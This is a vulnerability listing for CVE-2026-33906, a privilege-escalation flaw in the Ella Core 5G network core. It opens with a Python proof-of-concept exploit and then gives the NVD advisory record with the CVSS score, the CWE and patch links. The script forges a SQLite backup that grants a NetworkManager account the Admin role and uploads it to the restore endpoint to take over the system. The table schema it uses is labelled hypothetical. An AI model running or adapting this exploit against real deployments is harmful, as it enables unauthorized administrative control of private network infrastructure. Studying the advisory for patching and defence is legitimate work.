CVE-2026-33906

import sqlite3 import requests # 1. Create a malicious SQLite database # Assume the 'users' table stores role information conn = sqlite3.connect('malicious_backup.db') cursor = conn.cursor() # Create a dummy users table structure (hypothetical) cursor.execute('''CREATE TABLE IF NOT EXISTS users (username TEXT, role TEXT)''') # Insert or update the attacker's controlled user to Admin role cursor.execute("INSERT OR REPLACE INTO users (username, role) VALUES ('network_manager', 'Admin')") conn.commit() conn.close() # 2. Upload the malicious database to the restore endpoint # Attacker needs a valid NetworkManager session token target_url = "https://<ella-core-host>/api/v1/restore" auth_token = "<VALID_NETWORK_MANAGER_TOKEN>" headers = { "Authorization": f"Bearer {auth_token}" } files = { 'file': ('backup.db', open('malicious_backup.db', 'rb'), 'application/x-sqlite3') } response = requests.post(target_url, headers=headers, files=files) if response.status_code == 200: print("[+] Database restored successfully. Privilege escalation likely achieved.") else: print(f"[-] Failed to restore database. Status code: {response.status_code}")

{"cve": {"id": "CVE-2026-33906", "sourceIdentifier": "[email protected]", "published": "2026-03-27T21:17:26.800", "lastModified": "2026-04-20T12:33:13.623", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ella Core is a 5G core designed for private networks. Prior to version 1.7.0, the NetworkManager role was granted backup and restore permission. The restore endpoint accepted any valid SQLite file without verifying its contents. A NetworkManager could replace the production database with a tampered copy to escalate to Admin, gaining access to user management, audit logs, debug endpoints, and operator identity configuration that the role was explicitly denied. In version 1.7.0, backup and restore permissions have been removed from the NetworkManager role."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ellanetworks:ella_core:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.0", "matchCriteriaId": "9BAD1DBD-ED4B-49AB-A563-C4838F8F8979"}]}]}], "references": [{"url": "https://github.com/ellanetworks/core/commit/1e4768288a6519fcb63ec83f851584ecebb8a972", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ellanetworks/core/releases/tag/v1.7.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ellanetworks/core/security/advisories/GHSA-87j9-m7x6-hvw2", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}